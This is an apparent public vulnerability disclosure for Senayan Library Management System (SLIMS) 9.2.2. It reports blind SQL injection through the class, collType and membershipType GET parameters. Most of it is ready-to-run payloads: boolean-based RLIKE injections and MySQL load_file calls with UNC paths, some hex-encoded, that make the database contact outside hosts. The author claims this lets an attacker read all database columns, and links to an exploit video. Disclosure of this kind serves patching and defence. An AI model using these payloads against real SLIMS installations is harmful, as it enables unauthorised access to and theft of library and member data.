## Title: Senayan Library Management System v9.2.2 a.k.a SLIMS 9 Multiple SQLi-Not sanitizing correctly cookie session.
## Author: nu11secur1ty
## Date: 12.20.2022
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.2
## Reference:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi

## Description:
The manual insertion `point 3, 4, and 5` appears to be vulnerable to SQL
injection attacks. The payload '+(select load_file('\\\\
azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+' was submitted
in the manual insertion `point 3`.
This payload injects a SQL sub-query that calls MySQL's load_file function
with a UNC file path that references a URL on an external domain.
After manual testing: The parameters class, collType and membershipType are
vulnerable to SQLi attacks!
The application interacted with that domain, indicating that the injected
SQL query was executed.
The attacker can take information from all database columns of this system
by using this vulnerability.
Not sanitizing correctly cookie session.

## STATUS: HIGH Vulnerability

[+] Payload:

```MySQL
00
---
Parameter: class (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+''
RLIKE (SELECT (CASE WHEN (2920=2920) THEN 0x62626262+(select
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''+(select
load_file(0x5c5c5c5c3172746239777132393937646638783478326364746d70346b76716f656532353574776a6a6237302e736c696d732e7765622e69645c5c617667))+''
ELSE 0x28 END)) AND 'xMPZ'='xMPZ&membershipType=a''&collType=aaaa'+(select
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id
\\dzd'))+'
---

01
---
Parameter: collType (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a''&collType=aaaa'+(select
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+''
RLIKE (SELECT (CASE WHEN (2279=2279) THEN 0x61616161+(select
load_file(0x5c5c5c5c646374697930687a69777a643478756a6671716366643375756c306b6f61633166703666743968792e736c696d732e7765622e69645c5c777466))+''+(select
load_file(0x5c5c5c5c617a6469746d3536316837666b7533796a39397573386e653235387a77706b676e346575316f70642e736c696d732e7765622e69645c5c647a64))+''
ELSE 0x28 END)) AND 'MGZY'='MGZY
---

03
---
Parameter: membershipType (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a'''
RLIKE (SELECT (CASE WHEN (7628=7628) THEN 0x612727 ELSE 0x28 END)) AND
'ckmk'='ckmk&collType=aaaa'+(select load_file('\\\\
dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id
\\dzd'))+'
---
```

## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi
)

## Reference:
[Using HTTP cookies](
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)

## Proof and Exploit:
[href](https://streamable.com/1m0y6c)

## Time spent
`00:35:00`

## Writing an exploit
`00:15:00`